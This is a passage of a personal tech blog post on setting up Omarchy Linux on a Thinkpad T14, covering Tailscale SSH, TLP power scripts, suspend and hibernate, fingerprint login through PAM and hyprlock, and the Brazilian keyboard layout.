    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>The <code>--ssh</code> flag enables <a href="https://tailscale.com/kb/1193/tailscale-ssh/"target="_blank" rel="noopener">Tailscale SSH</a>, which authenticates via tailnet identity instead of a local SSH key. Once you log in through the browser to tailscale, each registered machine can SSH into the others based on ACL policy defined in the admin panel. Zero key management.</p>
<p>I repeat the same on the desktop, log in with the same account, done. Both machines show up in the panel (hal9000 and hal9666 in the screenshot above, both with SSH enabled). From the notebook: <code>ssh hal9000</code>. From the desktop to the notebook: <code>ssh hal9666</code>. No port forwarding, no public IP, no port 22 exposed to the internet. If the notebook is stolen, I remove it from the tailnet with one click.</p>
<p>A practical detail: since the tailnet gives stable names, I added entries to <code>~/.ssh/config</code> to use these short names:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>Host hal9000
  HostName hal9000
  User akitaonrails</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Now <code>ssh hal9000</code> works from anywhere that has Tailscale connected. It&rsquo;s the closest thing to &ldquo;it just works&rdquo; I&rsquo;ve seen for remote SSH.</p>
<h3>Why not a Mac<span class="hx:absolute hx:-mt-20" id="why-not-a-mac"></span>
    <a href="#why-not-a-mac" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>I have no use for macOS. As a dev, I live better in native Linux. Every tool I need has a first-class Linux version, and on macOS I&rsquo;d get a second-class version via Homebrew. I don&rsquo;t do iOS, so I don&rsquo;t need XCode. For mobile I use Flutter or Hotwire Native, which run on any OS. iTerm2 and Ghostty on Mac are fine, but Alacritty, Kitty and Ghostty itself on Linux work just as well. Every good piece of software lands on Linux first and gets ported afterwards. Arch with AUR covers everything in a single <code>yay</code>.</p>
<p>For creative work, I haven&rsquo;t done it professionally in years. DaVinci Resolve Studio on Linux is better than Final Cut Pro. Krita or Affinity Photo replace Photoshop for most cases. Clip Studio Paint on Android is better than Procreate. I simply don&rsquo;t have a workflow that depends on Apple, and the App Store annoys me.</p>
<p>For gaming, Mac is terrible. Apple Silicon has a decent GPU for some things, but the native macOS game library is pathetic compared to Windows or Linux. Game Porting Toolkit exists, CrossOver exists, but for anyone who games seriously, it doesn&rsquo;t cut it. I won&rsquo;t be gaming on the Thinkpad, I have the main desktop and the mini-PC with the RTX 4090 for that. But if I ever feel like running Hollow Knight or some indie on a train, I just install Steam and let Proton handle it. Linux became a real gaming platform in the last few years, with Proton/DXVK running almost the entire Steam catalog (check <a href="https://www.protondb.com/"target="_blank" rel="noopener">ProtonDB</a>). I recently wrote about <a href="/en/2026/04/11/emulation-distrobox-with-claude-code/">running my emulation library in distrobox</a> without polluting the host system. With Mac, those options don&rsquo;t exist.</p>
<p>Another argument that always shows up: &ldquo;but a Mac Mini M4 or a Mac Studio with 128GB of unified memory runs large models locally, it&rsquo;s a ChatGPT replacement.&rdquo; I already tested that thesis and wrote a <a href="/en/2026/04/05/testing-llms-open-source-and-commercial-can-anyone-beat-claude-opus/">detailed benchmark</a>. The conclusion: expensive local hardware to run LLMs is a weekend hobby, not a production tool. The open source models that fit don&rsquo;t deliver the quality Claude Opus delivers. I have a <a href="/en/2026/03/31/migrating-my-home-server-with-claude-code/">home server with AMD Strix Halo and 96 GB of unified RAM</a>, I ran models for dozens of hours, and in my real coding flow they&rsquo;re fine for simple tasks. For complex tasks, Claude Opus. Before spending $4000 on a Mac Studio justifying it with local models, actually test it first. You&rsquo;ll probably end up paying for Opus again.</p>
<h2>Why Omarchy<span class="hx:absolute hx:-mt-20" id="why-omarchy"></span>
    <a href="#why-omarchy" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>I&rsquo;ve been using Omarchy on the desktop for months and documented the path in a <a href="/en/tags/omarchy/">series of articles</a>. <a href="/en/2025/08/29/new-omarchy-2-0-install/">Omarchy 2.0</a> has its own installer with LUKS, Btrfs, Limine, snapper and SDDM already configured. I wrote about <a href="/en/2025/09/12/omarchy-2-0-install-with-the-omarchy-iso/">using the official ISO</a>, about <a href="/en/2025/09/07/omarchy-2-0-zsh-configs/">ZSH customizations</a> with atuin, starship, secrets properly organized, about <a href="/en/2025/09/07/omarchy-2-0-mise-to-organize-dev-environments/">Mise for multiple languages</a>, about <a href="/en/2025/09/07/omarchy-2-0-lazyvim-lazyextras/">LazyVim and LazyExtras</a>, about <a href="/en/2025/09/09/omarchy-2-0-understanding-ssh-and-yubikeys/">SSH and Yubikeys</a>, about <a href="/en/2025/09/09/omarchy-2-0-tuis/">modern TUIs</a>. There&rsquo;s also <a href="/en/2026/01/21/omarchy-3-dual-gpu-setup-with-amd-and-nvidia/">Omarchy 3 with dual GPU AMD + NVIDIA</a> and <a href="/en/2026/01/09/omarchy-3-one-of-the-best-coding-agents-crush/">Crush</a> as a coding agent.</p>
<p>For those who don&rsquo;t know: Omarchy is plain Arch Linux with a cosmetic layer on top of Hyprland/Wayland. Pre-configured with sane defaults. I could build all of it from scratch, I&rsquo;ve done it several times in my life, but why redo work someone already did well? I install Omarchy, I stack the tweaks that are mine on top, and I have customized Arch in a fraction of the time.</p>
<p>A point I raise every time I recommend Omarchy: the documentation is excellent. There&rsquo;s an <a href="https://manuals.omamix.org/2/the-omarchy-manual"target="_blank" rel="noopener">official manual</a> covering everything from installation to theme customization, keybindings, Hyprland, Waybar, the works. If you&rsquo;re coming from Ubuntu or Fedora and are wary of Arch, this manual handles most of the doubts. If you&rsquo;ve never touched Hyprland, open it and read around. It&rsquo;s not a README dumped on GitHub, it&rsquo;s a real manual with chapters and an index.</p>
<p>The story of this article starts in a previous thread. I recently migrated my home server, swapping an old Ubuntu box for a <a href="/en/2026/03/31/migrating-my-home-server-with-claude-code/">Minisforum MS-S1 running openSUSE MicroOS configured with Claude Code</a>. That was the first serious experiment of letting Claude Code drive an entire infra migration, with containers, NFS, services, networking. It worked. And it left an idea in the air: why not use the same approach to configure a new notebook?</p>
<p>That&rsquo;s what I did. I grabbed the Thinkpad, downloaded the latest Omarchy ISO, burned it to a flash drive, installed it over Windows. From zero to working desktop in under an hour. From there on, it&rsquo;s all tweaking, which I documented as I went.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/18/thinkpad/open-lid-claude-terminal.jpg" alt="Claude Code running on the Thinkpad terminal, ready to start configuring the notebook"  loading="lazy" /></p>
<p>I&rsquo;ll detail the two layers of customization: what any notebook needs, and what&rsquo;s specific to this Thinkpad.</p>
<h2>Laptop-specific configs<span class="hx:absolute hx:-mt-20" id="laptop-specific-configs"></span>
    <a href="#laptop-specific-configs" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>A notebook has problems a desktop doesn&rsquo;t: battery, suspend, lid, brightness, trackpad. Those are the parts Omarchy default doesn&rsquo;t cover the way I want.</p>
<h3>Power management with TLP<span class="hx:absolute hx:-mt-20" id="power-management-with-tlp"></span>
    <a href="#power-management-with-tlp" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Omarchy defaults to <code>power-profiles-daemon</code>. I swapped it for TLP, which gives granular control over CPU scaling, battery thresholds and dynamic profiles based on AC vs battery.</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">sudo pacman -S tlp tlp-rdw
</span></span><span class="line"><span class="cl">sudo systemctl mask power-profiles-daemon.service
</span></span><span class="line"><span class="cl">sudo systemctl <span class="nb">enable</span> --now tlp.service</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>The <code>mask</code> is necessary because upower pulls <code>power-profiles-daemon</code> back in if you just <code>disable</code> it.</p>
<p>Charge thresholds: 60% to start, 85% to stop. The notebook spends most of its time plugged in on the office desk, and keeping the battery at 100% 24/7 wrecks capacity over time. With 60/85, the battery spends most of its time in the healthy lithium range and still has decent usable capacity.</p>
<p>Profiles: <code>balanced</code> with <code>balance_power</code> on battery, <code>performance</code> on AC. TLP&rsquo;s <code>low-power</code> was too aggressive on the Core Ultra 5 235U, window and terminal response became noticeable. Balanced gives the best consumption/responsiveness ratio for normal use.</p>
<p>There&rsquo;s a gotcha: <code>tlp auto</code> after <code>tlp ac</code> doesn&rsquo;t always re-apply the battery profile. I wrote a small script bound to <code>Super+Ctrl+P</code> that reads the current state and calls <code>tlp bat</code> or <code>tlp ac</code> explicitly:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="cp">#!/bin/bash
</span></span></span><span class="line"><span class="cl"><span class="nb">set</span> -euo pipefail
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nv">profile</span><span class="o">=</span><span class="k">$(</span>cat /sys/firmware/acpi/platform_profile 2&gt;/dev/null <span class="o">||</span> <span class="nb">echo</span> unknown<span class="k">)</span>
</span></span><span class="line"><span class="cl"><span class="nv">on_ac</span><span class="o">=</span><span class="k">$(</span>cat /sys/class/power_supply/AC*/online 2&gt;/dev/null <span class="p">|</span> head -1 <span class="o">||</span> <span class="nb">echo</span> 0<span class="k">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="o">[[</span> <span class="s2">&#34;</span><span class="nv">$profile</span><span class="s2">&#34;</span> <span class="o">==</span> <span class="s2">&#34;performance&#34;</span> <span class="o">]]</span><span class="p">;</span> <span class="k">then</span>
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="o">[[</span> <span class="s2">&#34;</span><span class="nv">$on_ac</span><span class="s2">&#34;</span> <span class="o">==</span> <span class="s2">&#34;1&#34;</span> <span class="o">]]</span><span class="p">;</span> <span class="k">then</span>
</span></span><span class="line"><span class="cl">    sudo /usr/bin/tlp auto &gt;/dev/null
</span></span><span class="line"><span class="cl">    <span class="nv">label</span><span class="o">=</span><span class="s2">&#34;Plugged in — back to AC auto&#34;</span>
</span></span><span class="line"><span class="cl">  <span class="k">else</span>
</span></span><span class="line"><span class="cl">    sudo /usr/bin/tlp bat &gt;/dev/null
</span></span><span class="line"><span class="cl">    <span class="nv">label</span><span class="o">=</span><span class="s2">&#34;On battery — normal profile&#34;</span>
</span></span><span class="line"><span class="cl">  <span class="k">fi</span>
</span></span><span class="line"><span class="cl">  notify-send -t <span class="m">2000</span> <span class="s2">&#34;Performance mode: off&#34;</span> <span class="s2">&#34;</span><span class="nv">$label</span><span class="s2">&#34;</span> 2&gt;/dev/null <span class="o">||</span> <span class="nb">true</span>
</span></span><span class="line"><span class="cl"><span class="k">else</span>
</span></span><span class="line"><span class="cl">  sudo /usr/bin/tlp ac &gt;/dev/null
</span></span><span class="line"><span class="cl">  notify-send -t <span class="m">2000</span> <span class="s2">&#34;Performance mode: on&#34;</span> <span class="s2">&#34;Forcing AC profile&#34;</span> 2&gt;/dev/null <span class="o">||</span> <span class="nb">true</span>
</span></span><span class="line"><span class="cl"><span class="k">fi</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>In waybar, a custom module <code>custom/perf</code> shows the current state (󰓅 PERF, 󰌪 ECO, or empty for balanced) and accepts a click to toggle. The output script is tiny:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="cp">#!/bin/bash
</span></span></span><span class="line"><span class="cl"><span class="nv">p</span><span class="o">=</span><span class="k">$(</span>cat /sys/firmware/acpi/platform_profile 2&gt;/dev/null<span class="k">)</span>
</span></span><span class="line"><span class="cl"><span class="k">case</span> <span class="s2">&#34;</span><span class="nv">$p</span><span class="s2">&#34;</span> in
</span></span><span class="line"><span class="cl">  performance<span class="o">)</span> <span class="nb">printf</span> <span class="s1">&#39;󰓅 PERF&#39;</span> <span class="p">;;</span>
</span></span><span class="line"><span class="cl">  low-power<span class="o">)</span>   <span class="nb">printf</span> <span class="s1">&#39;󰌪 ECO&#39;</span>  <span class="p">;;</span>
</span></span><span class="line"><span class="cl">  balanced<span class="p">|</span><span class="s2">&#34;&#34;</span><span class="o">)</span> <span class="nb">printf</span> <span class="s1">&#39;&#39;</span>       <span class="p">;;</span>
</span></span><span class="line"><span class="cl">  *<span class="o">)</span>           <span class="nb">printf</span> <span class="s1">&#39;%s&#39;</span> <span class="s2">&#34;</span><span class="nv">$p</span><span class="s2">&#34;</span> <span class="p">;;</span>
</span></span><span class="line"><span class="cl"><span class="k">esac</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<h3>Suspend, hibernate, and the lid<span class="hx:absolute hx:-mt-20" id="suspend-hibernate-and-the-lid"></span>
    <a href="#suspend-hibernate-and-the-lid" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>This is what changed compared to the notebooks I used in 2015. The T14 Gen 6 closes the lid, suspends, and wakes up when you open it. No bug, no weird delay, no needing to log in again mid graphical session. Hyprlock kicks in after the suspend, accepts fingerprint or password, and brings me back to the desktop in seconds. This is the behavior Apple has had for years and that on Linux used to be an adventure. In 2026, on modern hardware with kernel 6.11+, it just works.</p>
<p>Mem sleep mode is s2idle (no deep sleep). Hibernation is enabled via a ~30 GB Btrfs swapfile and <code>resume=/dev/mapper/root resume_offset=...</code> on the Limine kernel cmdline. I rarely use it, but it&rsquo;s there.</p>
<p>Hypridle has aggressive timeouts for a laptop:</p>
<ul>
<li>2.5 min → screensaver</li>
<li>5 min → lock</li>
<li>5.5 min → DPMS off + keyboard backlight off</li>
</ul>
<p>After lock, another 5 min and the screen turns off completely. On unlock, it restores screen and keyboard brightness to the previous level. These timings are much shorter than on the desktop (20-40 min there). The battery difference over a day is measurable.</p>
<h3>Brightness and keyboard backlight<span class="hx:absolute hx:-mt-20" id="brightness-and-keyboard-backlight"></span>
    <a href="#brightness-and-keyboard-backlight" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p><code>brightnessctl</code> controls both. Fn+Space toggles the keyboard backlight across three levels. Hypridle saves the current level before turning off and restores it on resume. Command I use in the script:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">brightnessctl -sd <span class="s1">&#39;*::kbd_backlight&#39;</span> <span class="nb">set</span> <span class="m">0</span>    <span class="c1"># save and turn off</span>
</span></span><span class="line"><span class="cl">brightnessctl -rd <span class="s1">&#39;*::kbd_backlight&#39;</span>          <span class="c1"># restore</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<h3>Touchpad<span class="hx:absolute hx:-mt-20" id="touchpad"></span>
    <a href="#touchpad" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>In <code>hypr/input.conf</code>:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>touchpad {
    natural_scroll = true
    clickfinger_behavior = true
    disable_while_typing = true
    scroll_factor = 0.4
}
gesture = 3, horizontal, workspace</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p><code>clickfinger_behavior</code> swaps the 2-finger click as right-click (more comfortable than hitting the lower-right zone). <code>disable_while_typing</code> is basic palm rejection. Three-finger horizontal swipes switch workspaces, the most useful gesture in Hyprland.</p>
<h2>Thinkpad-specific configs<span class="hx:absolute hx:-mt-20" id="thinkpad-specific-configs"></span>
    <a href="#thinkpad-specific-configs" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>This is what&rsquo;s specific to this model. Some things modern Linux handles on its own, others need explicit configuration.</p>
<h3>Fingerprint sensor<span class="hx:absolute hx:-mt-20" id="fingerprint-sensor"></span>
    <a href="#fingerprint-sensor" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Goodix MOC <code>27c6:6594</code>, works with libfprint 1.94.9+ on kernel 6.11+. Package is <code>fprintd</code>.</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">sudo pacman -S fprintd
</span></span><span class="line"><span class="cl">fprintd-enroll                        <span class="c1"># right index finger by default</span>
</span></span><span class="line"><span class="cl">fprintd-enroll -f left-index-finger   <span class="c1"># other finger</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>To make <code>sudo</code> accept fingerprint, I added <code>auth sufficient pam_fprintd.so</code> above the <code>pam_unix.so</code> line in <code>/etc/pam.d/sudo</code>. With <code>sufficient</code>, if the fingerprint passes, it authenticates directly. If it fails or I hit ESC, it falls back to the password prompt. This is genuinely worth it: dozens of times a day, <code>sudo pacman -Syu</code> or <code>sudo systemctl restart something</code>, and I just touch the sensor.</p>
<p>On hyprlock, I use hyprlock&rsquo;s native configuration, not PAM:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>auth {
    fingerprint {
        enabled = true
        ready_message = Scan fingerprint or type password
        present_message = Scanning...
        retry_delay = 250
    }
}</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>The PAM path gives a double prompt. Configured natively, hyprlock accepts fingerprint or password, whichever succeeds first unlocks.</p>
<p>On SDDM (initial login), I kept password only. The reason: the login password unlocks the GNOME keyring, and the fingerprint can&rsquo;t provide plaintext for that. Once the keyring is unlocked, hyprlock can use fingerprint without issues.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/18/thinkpad/sudo-asks-for-fingerprinting.png" alt="sudo prompt asking for fingerprint read"  loading="lazy" /></p>
<p>In practice, sudo looks like that. Touch the sensor, authenticate, move on.</p>
<h3>Brazilian Thinkpad keyboard<span class="hx:absolute hx:-mt-20" id="brazilian-thinkpad-keyboard"></span>
    <a href="#brazilian-thinkpad-keyboard" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>The Brazilian Thinkpad keyboard has an annoying quirk. The <code>/?</code> key sits where the right Ctrl would be (keycode 97), not in the traditional ABNT2 AB11 position (keycode 89). If you use the standard <code>br(abnt2)</code> layout, that key is inaccessible. It literally prints nothing.</p>
<p>The solution is the <code>br(thinkpad)</code> variant that exists in <code>/usr/share/X11/xkb/symbols/br</code>:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>xkb_symbols &#34;thinkpad&#34; {
    include &#34;br(abnt2)&#34;
    name[Group1]=&#34;Portuguese (Brazil, IBM/Lenovo ThinkPad)&#34;;
    key &lt;RCTL&gt; { [ slash, question, degree, questiondown ] };
};</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>In <code>hypr/input.conf</code>:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>kb_layout = br
kb_variant = thinkpad
kb_model = thinkpad60</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>And system-wide for TTY/X11:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">sudo localectl set-keymap br-abnt2
</span></span><span class="line"><span class="cl">sudo localectl set-x11-keymap br thinkpad thinkpad60</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>I wrote a small Python that reads raw scancodes from <code>/dev/input/event*</code> to diagnose these quirks. Useful when a key decides not to work and you need to find out if it&rsquo;s hardware, kernel, or xkb.</p>
<h3>Input method: fcitx5<span class="hx:absolute hx:-mt-20" id="input-method-fcitx5"></span>
    <a href="#input-method-fcitx5" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Alongside the layout I install fcitx5. Input method, for those who don&rsquo;t know, is the layer that turns a key sequence into characters. It handles deadkeys (tilde for nasalization, acute accent, circumflex), composing characters that aren&rsquo;t on the keyboard (ç, Ç, uppercase accented letters), emoji support. In Qt or GTK apps, the input method also drives context menus for cedilla and accents.</p>
<p>Packages:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">sudo pacman -S --needed fcitx5 fcitx5-configtool fcitx5-gtk fcitx5-qt</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
